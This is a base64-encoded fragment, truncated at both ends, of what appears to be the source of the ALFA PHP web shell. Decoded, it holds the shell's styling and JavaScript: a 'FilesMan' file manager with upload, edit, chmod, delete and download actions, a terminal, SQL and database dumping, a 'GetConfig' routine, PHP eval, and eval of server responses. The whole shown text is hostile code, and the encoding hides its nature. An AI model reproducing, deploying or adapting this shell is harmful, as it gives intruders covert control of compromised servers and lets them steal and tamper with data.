b3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9aW5wdXRbdHlwZT1zdWJtaXRdOmhvdmVye2NvbG9yOiMwMDA7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoycHggc29saWQgIzI3OTc5QjstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9c2VsZWN0e3BhZGRpbmc6M3B4O3dpZHRoOjE2MnB4O2NvbG9yOiNGRkU7dGV4dC1zaGFkb3c6IzAwMCAwIDJweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6IzAwMDt0ZXh0LWRlY29yYXRpb246bm9uZTtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXNlbGVjdDpob3Zlcntib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0KLmZvb3R0YWJsZXt3aWR0aDogMzAwcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7Jy4oIUBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyd9LmRpcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt9JzonfScpLicubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fS5tYWluIGF7Y29sb3I6ICNGRkY7fS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NCAhaW1wb3J0YW50O30ubWwxeyBib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0uYmlnYXJlYXsgd2lkdGg6OTklOyBoZWlnaHQ6MzAwcHg7IH0uYWxmYV9jdXN0b21fY21kX2J0biB7cGFkZGluZzogNXB4O2NvbG9yOiAjMjRmZjAzO2N1cnNvcjogcG9pbnRlcjt9LmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IHtkaXNwbGF5OiBibG9jazt9Jy5hbGZhQ3NzTG9hZENvbG9ycygpLicKPC9zdHlsZT4nOwplY2hvICI8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+CnZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7CnZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJzsKdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwp2YXIgaXNsaW51eCA9ICIuKCRHTE9CQUxTWydzeXMnXSE9IndpbiI/J3RydWUnOidmYWxzZScpLiI7CnZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjsiOz8+CnZhciBhbGZhMV89IiIsYWxmYTJfPSIiLGFsZmEzXz0iIixhbGZhNF89IiIsYWxmYTVfPSIiLGFsZmE2Xz0iIixhbGZhN189IiIsYWxmYThfPSIiLGFsZmE5Xz0iIixhbGZhMTBfPSIiLGQ9ZG9jdW1lbnQsbXlzcWxfY2FjaGU9e30sZWRpdG9yX2ZpbGVzPXt9LGVkaXRvcl9lcnJvcj0hMCxlZGl0b3JfY3VycmVudF9maWxlPSIiLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsaXNfbWluaW1pemVkPSExLGNnaV9pc19taW5pbWl6ZWQ9ITEsb3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEscmlnaHRjbGlja19tZW51X2NvbnRleHQ9bnVsbCxjYW5faGFzaGNoYW5nZV93b3JrPSEwLGFsZmFfY2FuX2FkZF9vcHQ9ITEsYWxmYV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLGFsZmFfYWNlX2VkaXRvcnM9e2VkaXRvcjpudWxsLGV2YWw6bnVsbH0sY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhPXt9LF9BTEZBX0FKQVhfPXt9LGNnaV9sYW5nPSIiLHVwY291bnQ9MSx0ZXJtaW5hbF93YWxrX2luZGV4PVtdLGFsZmFfY3VycmVudF9mbV9pZD0xLGFsZmFfZm1faWQ9MDtmdW5jdGlvbiBzZXQoZSxhLHQsaSxsLG8scixuLHMsYyxmLF8sdSl7ZC5tZi5hLnZhbHVlPW51bGwhPWU/ZTphXyxkLm1mLmMudmFsdWU9bnVsbCE9YT9hOmNfLGQubWYuYWxmYTEudmFsdWU9bnVsbCE9dD90OiIiLGQubWYuYWxmYTIudmFsdWU9bnVsbCE9aT9pOiIiLGQubWYuYWxmYTMudmFsdWU9bnVsbCE9bD9sOiIiLGQubWYuYWxmYTQudmFsdWU9bnVsbCE9bz9vOiIiLGQubWYuYWxmYTUudmFsdWU9bnVsbCE9cj9yOiIiLGQubWYuYWxmYTYudmFsdWU9bnVsbCE9bj9uOiIiLGQubWYuYWxmYTcudmFsdWU9bnVsbCE9cz9zOiIiLGQubWYuYWxmYTgudmFsdWU9bnVsbCE9Yz9jOiIiLGQubWYuYWxmYTkudmFsdWU9bnVsbCE9Zj9mOiIiLGQubWYuYWxmYTEwLnZhbHVlPW51bGwhPV8/XzoiIixkLm1mLmNoYXJzZXQudmFsdWU9bnVsbCE9dT91OmNoYXJzZXRffWZ1bmN0aW9uIGZjKGUpe3ZhciBhPWFsZmFfY3VycmVudF9mbV9pZCx0PSJhPSIrYWxmYWI2NCgiRmlsZXNNYW4iKSsiJmM9IithbGZhYjY0KGUuYy52YWx1ZSkrIiZhbGZhMT0iK2FsZmFiNjQoZS5hbGZhMS52YWx1ZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpKyImIixpPSIiLGw9MDtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgZm9ybVtuYW1lPWZpbGVzXSBpbnB1dFt0eXBlPWNoZWNrYm94XSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiYobCsrLGkrPSJmW109IithbGZhYjY0KGRlY29kZVVSSUNvbXBvbmVudChlLnZhbHVlKSkrIiYiKX0pLDA9PWwmJiJwYXN0ZSIhPWUuYWxmYTEudmFsdWUpcmV0dXJuITE7c3dpdGNoKGFsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsImJsb2NrIiksZS5hbGZhMS52YWx1ZSl7Y2FzZSJkZWxldGUiOmQucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuZm1hbmFnZXItcm93IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgYT1lLnF1ZXJ5U2VsZWN0b3IoImlucHV0W3R5cGU9Y2hlY2tib3hdIik7YS5jaGVja2VkJiYiLi4iIT1hLnZhbHVlP2UucmVtb3ZlKCk6YS5jaGVja2VkPSExfSksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIC5jaGtieCIpLmNoZWNrZWQ9ITE7YnJlYWs7Y2FzZSJjb3B5IjpjYXNlIm1vdmUiOmNhc2UiemlwIjpjYXNlInVuemlwIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPSExfSl9X0FqYXgoZC5VUkwsdCtpLGZ1bmN0aW9uKGUpe2FsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsIm5vbmUiKSxhbGZhRm1uZ3JDb250ZXh0Um93KCl9LCExLCJmaWxlc21hbl9ob2xkZXJfIithKX1mdW5jdGlvbiBpbml0RGlyKGUpe3ZhciBhPSIiLHQ9IiI7aXNsaW51eCYmKGE9IjxhIGNsYXNzPVwiaGVhZGVyX3B3ZFwiIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJy8nKTtcIiBwYXRoPScvJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0vJz4vPC9hPiIsdD0iLyIpO3ZhciBsPWUuc3BsaXQoIi8iKSxvPSIiLHI9aXNsaW51eD8iLyI6IiI7Zm9yKGkgaW4iLTEiIT1sLmluZGV4T2YoIi4uIikmJihsLnNwbGljZShsLmluZGV4T2YoIi4uIiktMSwxKSxsLnNwbGljZShsLmluZGV4T2YoIi4uIiksMSkpLGwpIiIhPWxbaV0mJihvKz0iPGEgb25jbGljaz1cImcoJ0ZpbGVzTWFuJywnIityK2xbaV0rIi8nKTtcIiBwYXRoPSciK3IrbFtpXSsiLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9IityK2xbaV0rJy9cJyBjbGFzcz0iaGVhZGVyX3B3ZCI+JytsW2ldKyIvPC9hPiIscis9bFtpXSsiLyIpOyQoImhlYWRlcl9jd2QiKS5pbm5lckhUTUw9YStvKyIgIixhbGZhSW5pdEN3ZENvbnRleHQoKSxsPShsPXQrbC5qb2luKCIvIikpLnJlcGxhY2UoIi8vIiwiLyIpLGQuZm9vdGVyX2Zvcm0uYy52YWx1ZT1sLCQoImZvb3Rlcl9jd2QiKS52YWx1ZT1sLGNfPWx9ZnVuY3Rpb24gZXZhbEpTKGh0bWwpe3ZhciBuZXdFbGVtZW50PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO25ld0VsZW1lbnQuaW5uZXJIVE1MPWh0bWw7Zm9yKHZhciBzY3JpcHRzPW5ld0VsZW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGk9MDtpPHNjcmlwdHMubGVuZ3RoOysraSl7dmFyIHNjcmlwdD1zY3JpcHRzW2ldO2V2YWwoc2NyaXB0LmlubmVySFRNTCl9fWZ1bmN0aW9uIF9BamF4KGUsYSx0LGksbCl7dmFyIG89ITE7cmV0dXJuIHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9vPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKG89bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLHZvaWQgMCE9PWwmJihfQUxGQV9BSkFYX1tsXT1vKSxvPyhvLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW8ucmVhZHlTdGF0ZSYmMjAwPT1vLnN0YXR1cz8iZnVuY3Rpb24iPT10eXBlb2YgdCYmKHQoby5yZXNwb25zZVRleHQsbCksYWxmYUNsZWFyQWpheChsKSk6ND09by5yZWFkeVN0YXRlJiYyMDAhPW8uc3RhdHVzJiYoYWxmYUFqYXhFcnJvcihvLnN0YXR1cyxsLG8uc3RhdHVzVGV4dCxvLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChsKSl9LG8ub3BlbigiUE9TVCIsZSwhMCksby5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSx2b2lkIG8uc2VuZChhKSk6dm9pZCBhbGVydCgiRXJyb3IgISIpfWZ1bmN0aW9uIGFsZmFDbGVhckFqYXgoZSl7X0FMRkFfQUpBWF8uaGFzT3duUHJvcGVydHkoZSkmJmRlbGV0ZSBfQUxGQV9BSkFYX1tlXX1mdW5jdGlvbiBoYW5kbGV1cChlLGEpe3ZhciB0PSJfX2ZuYW1ldXAiO2lmKDAhPWEmJih0PSJfX2ZuYW1ldXAiK2EpLGUuZmlsZXMubGVuZ3RoPjEpe2Zvcih2YXIgaT0iIixsPTA7bDxlLmZpbGVzLmxlbmd0aDtsKyspaSs9ZS5maWxlc1swXS5uYW1lKyIsICI7JCh0KS5pbm5lckhUTUw9aX1lbHNlIGUuZmlsZXNbMF0ubmFtZSYmKCQodCkuaW5uZXJIVE1MPWUuZmlsZXNbMF0ubmFtZSl9ZnVuY3Rpb24gdShlKXt2YXIgYT0hMSx0PTAsaT1hbGZhX2N1cnJlbnRfZm1faWQsbD1uZXcgRm9ybURhdGEsbz0iZmlsZXNtYW5faG9sZGVyXyIraTtsLmFwcGVuZCgiYSIsYWxmYWI2NChlLmEudmFsdWUpKSxsLmFwcGVuZCgiYyIsYWxmYWI2NChlLmMudmFsdWUpKSxsLmFwcGVuZCgiYWxmYTEiLGFsZmFiNjQoZS5hbGZhMS52YWx1ZSkpLGwuYXBwZW5kKCJjaGFyc2V0IixhbGZhYjY0KGUuY2hhcnNldC52YWx1ZSkpLGwuYXBwZW5kKCJhamF4IixhbGZhYjY0KGUuYWpheC52YWx1ZSkpLGUucXVlcnlTZWxlY3RvckFsbCgiaW5wdXRbdHlwZT1maWxlXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYoMD09ZS52YWx1ZS5sZW5ndGgpcmV0dXJuITE7aWYoZS5maWxlcy5sZW5ndGg+MSlmb3IodmFyIGE9MDthPGUuZmlsZXMubGVuZ3RoO2ErKylsLmFwcGVuZCgiZltdIixlLmZpbGVzW2FdKTtlbHNlIGwuYXBwZW5kKCJmW10iLGUuZmlsZXNbMF0pO3QrK30pLCQoImZvb3RlcnVwIikudmFsdWU9IiIsJCgiX19mbmFtZXVwIikuaW5uZXJIVE1MPSIiO2Zvcih2YXIgcj0xO3I8PXVwY291bnQ7cisrKXt2YXIgbj0kKCJwZm9vdGVydXBfIityKTtuJiZuLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobiksdXBjb3VudC0tfWlmKDA9PXVwY291bnQmJnVwY291bnQrKywwPT10KXJldHVybiExO3ZhciBzPSJ1cF9iYXJfIitnZXRSYW5kb20oKTskKCJ1cF9iYXJfaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IGlkPSciK3MrIicgY2xhc3M9J3VwX2Jhcic+PC9kaXY+Iik7ZS5jLnZhbHVlO2lmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9hPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKGE9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLGEpe3ZhciBjPSQocyk7X0FMRkFfQUpBWF9bc109YSxhLnVwbG9hZCYmKGMuc3R5bGUuZGlzcGxheT0iYmxvY2siLGEudXBsb2FkLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oZSl7dmFyIGE9ZS5wb3NpdGlvbnx8ZS5sb2FkZWQsdD1lLnRvdGFsU2l6ZXx8ZS50b3RhbCxpPU1hdGguZmxvb3IoYS90KjFlMykvMTArIiUiO2Muc3R5bGUud2lkdGg9aX0pLGEub25sb2FkPWZ1bmN0aW9uKGUpezIwMD09PWEuc3RhdHVzP2Muc3R5bGUuZGlzcGxheT0ibm9uZSI6YWxmYUFqYXhFcnJvcihhLnN0YXR1cywidXBsb2FkX2FyZWEiLGEuc3RhdHVzVGV4dCxhLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChzKX0sYS5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZig0PT1hLnJlYWR5U3RhdGUmJjIwMD09YS5zdGF0dXMpe2lmKCJub3Blcm0iIT1hLnJlc3BvbnNlVGV4dCYmIltdIiE9YS5yZXNwb25zZVRleHQpe3ZhciBlLHQ9SlNPTi5wYXJzZShhLnJlc3BvbnNlVGV4dCksbD0iIixyPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiICNmaWxlbWFuYWdlcl90YWJsZSB0ciIpLmxlbmd0aC0zO2ZvcihlIGluIHQpeysrcjt2YXIgbj10W2VdLm5hbWUscz1lbmNvZGVVUklDb21wb25lbnQobiksYz10W2VdLnNpemUsZj10W2VdLnBlcm0sXz10W2VdLm1vZGlmeSx1PXRbZV0ub3duZXIscD1sb2FkVHlwZShuLCJmaWxlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiIyIrbysiIC5mbWFuYWdlci1yb3cgYVtmbmFtZT0nIituKyInXSIpLnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnJlbW92ZSgpfWNhdGNoKGUpe31sKz0nPHRyIGNsYXNzPSJmbWFuYWdlci1yb3ciIGlkPSJ0cl9yb3dfJytyKyciPjx0ZD48ZGl2IGNsYXNzPSJteUNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZbXSIgdmFsdWU9IicrbisnIiBjbGFzcz0iY2hrYngiIGlkPSJjaGVja2JveCcrcisnIj48bGFiZWwgZm9yPSJjaGVja2JveCcrcisnIj48L2xhYmVsPjwvZGl2PjwvdGQ+PHRkIGlkPSJ0ZF9yb3dfJytyKyciPicrcCsnPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ym90dG9tOjEycHg7Ij48YSByb3c9IicrcisnIiBpZD0iaWRfJytyKyciIGNsYXNzPSJtYWluX25hbWUiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIiBocmVmPVwiI2FjdGlvbj1maWxlbWFuJmFtcDtwYXRoPSIrY18rIiZhbXA7ZmlsZT0iK3MrJyIgZm5hbWU9IicrbisnIiBmdHlwZT0iZmlsZSIgcGF0aD0iJytjXysnIiBvcHRfdGl0bGU9IiI+JytuKyc8L2E+PC9kaXY+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fc2l6ZSI+JytjKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nK18rJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9vd25lcl9ncm91cCI+Jyt1Kyc8L3NwYW4+PC90ZD48dGQ+PGEgaWQ9ImlkX2NobW9kZV8nK3IrJyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2NobW9kJywnJywnJywnJywnZmlsZScpXCI+IitmKyc8L2E+PC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nK3IrJyIgdGl0bGU9IlJlbmFtZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywgJ3JlbmFtZScsJycsJycsJycsJ2ZpbGUnKVwiPlI8L2E+IDxhIGlkPVwiaWRfdG91Y2hfIityKyciIHRpdGxlPSJNb2RpZnkgRGF0ZXRpbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICd0b3VjaCcsJycsJycsJycsJ2ZpbGUnKVwiPlQ8L2E+IDxhIGlkPVwiaWRfZWRpdF8iK3IrJyIgY2xhc3M9ImFjdGlvbnMiIHRpdGxlPSJFZGl0IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICdlZGl0JywnJywnJywnJywnZmlsZScpXCI+RTwvYT4gPGEgaWQ9XCJpZF9kb3dubG9hZF8iK3IrJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJytuKyInLCAnZG93bmxvYWQnKVwiPkQ8L2E+PGEgaWQ9XCJpZF9kZWxldGVfIityKyciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJytzKyIgIyA/Jyk7IGNoayA/IGcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLCAnIitzKyInKSA6ICcnO1wiPiBYIDwvYT48L3RkPjwvdHI+In1kLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAjZmlsZW1hbmFnZXJfbGFzdF90ciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLGwpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJGaWxlKHMpIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSIsIlVwbG9hZGVyIiksYWxmYUZtbmdyQ29udGV4dFJvdygpfWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oIkZvbGRlciBoYXMgbm8gcGVybWlzc2lvbi4uLiIsIlVwbG9hZGVyIiwiZXJyb3IiKTthbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoaSl9fSxhLm9wZW4oIlBPU1QiLGQuVVJMKSxhLnNlbmQobCl9fWZ1bmN0aW9uIGFsZmFDaGVja0N1cnJlbnRGaWxlc01hblRhYihlKXstMT09JCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmJCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKX1mdW5jdGlvbiBnKGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCl7dmFyIGZtX2lkPTA9PWFsZmFfZm1faWQ/YWxmYV9jdXJyZW50X2ZtX2lkOmFsZmFfZm1faWQsZm1faWQyPWFsZmFfZm1faWQsZm1fcGF0aD1udWxsPT1jfHwwPT1jLmxlbmd0aD9jXzpjLGRfbWZfYz1mbV9wYXRoLGdfYWN0aW9uX2lkPWFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZDswPT1hbGZhX2ZtX2lkJiYoc2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCksZF9tZl9jPWQubWYuYy52YWx1ZSksIkdldENvbmZpZyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiZpc2xpbnV4JiYiLyIhPWRfbWZfYy5zdWJzdHIoMCwxKSYmKGRfbWZfYz0iLyIrZF9tZl9jKSwiRmlsZXNNYW4iPT1hPyhhbGZhbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIitmbV9pZCwiYmxvY2siKSxnX2FjdGlvbl9pZD0iZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpOiIiIT1nX2FjdGlvbl9pZD9hbGZhbG9hZGVyKGdfYWN0aW9uX2lkLCJibG9jayIpOiJGaWxlc1Rvb2xzIiE9YSYmImRvd25sb2FkIiE9YWxmYTImJiJHZXRDb25maWciIT1hJiYoInNxbCI9PWE/KHNob3dFZGl0b3IoImRhdGFiYXNlX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcERhdGFiYXNlKCIiKSk6IkZpbGVzTWFuIiE9YSYmKHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IiksZ19hY3Rpb25faWQ9bG9hZFBvcFVwT3BUaW9ucyhhKSksYWxmYWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKSk7Zm9yKHZhciBkYXRhPSJhPSIrYWxmYWI2NChhKSsiJmM9IithbGZhYjY0KGRfbWZfYykrIiYiLGk9MTtpPD0xMDtpKyspZGF0YSs9ImFsZmEiK2krIj0iK2FsZmFiNjQoZXZhbCgiZC5tZi5hbGZhIitpKyIudmFsdWUiKSkrIiYiO2lmKCJGaWxlc01hbiI9PWEpe3ZhciBwYWdlbnVtPWQucXVlcnlTZWxlY3RvcigiIyIrZ19hY3Rpb25faWQrIiAucGFnZS1udW1iZXIuYWN0aXZlLXBhZ2UtbnVtYmVyIik7bnVsbCE9cGFnZW51bSYmKGRhdGErPSJwYWdlbnVtPSIrYWxmYWI2NChnZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIpKSxzZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIsMSwyMDEyKSl9aWYoZGF0YSs9IiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLCJGaWxlc1Rvb2xzIj09YSYmImRvd25sb2FkIj09YWxmYTIpe2FsZmFMb2FkZXJPblRvcCgibm9uZSIpO3ZhciBkbD0kKCJkbEZvcm0iKTtyZXR1cm4gZGwuYS52YWx1ZT1hbGZhYjY0KCJkbGZpbGUiKSxkbC5jLnZhbHVlPWFsZmFiNjQoZF9tZl9jKSxkbC5maWxlLnZhbHVlPWFsZmFiNjQoYWxmYTEpLHZvaWQgZGwuc3VibWl0KCl9IkdldENvbmZpZyIhPWE/KF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSx0KXtldmFsSlMoZSk7dmFyIGk9ITE7aWYoYWxmYUxvYWRlck9uVG9wKCJub25lIiksInNxbCI9PWEpcmV0dXJuIGNvbnNvbGUubG9nKHQpLGxvYWRQb3BVcERhdGFiYXNlKGUsdCksITE7aWYoIkZpbGVzTWFuIj09YSl7YWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsIm5vbmUiKSxkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl9ob2xkZXJfIitmbV9pZCkuaW5uZXJIVE1MPWUsZm1fcGF0aD1mbV9wYXRoLnJlcGxhY2UoL1wvXC8vZywiLyIpLCQoImZpbGVzbWFuX3RhYl8iK2ZtX2lkKS5zZXRBdHRyaWJ1dGUoInBhdGgiLGZtX3BhdGgpO3ZhciBsPWFsZmFHZXRMYXN0Rm9sZGVyTmFtZShmbV9wYXRoKTtkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl90YWJfIitmbV9pZCsiIHNwYW4iKS5pbm5lckhUTUw9bCxhbGZhRm1uZ3JDb250ZXh0Um93KCksImZ1bmN0aW9uIj09dHlwZW9mIGFsZmExJiZhbGZhMShlKSxhbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZm1faWQpfWVsc2Uob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkfHwiLiI9PXQuc3Vic3RyKDAsMSkpJiYiLiI9PXQuc3Vic3RyKDAsMSkmJihpPSEwLHQ9dC5zdWJzdHIoMSksc2hvd0VkaXRvcigib3B0aW9uc193aW5kb3ciKSksaXx8YWxmYWxvYWRlcih0LCJub25lIiksbG9hZFBvcFVwT3BUaW9ucyh0LGUpLCJwaHBldmFsIj09YSYmYWxmYUxvYWRBY2VFZGl0b3IoIlBocENvZGUiKSwiY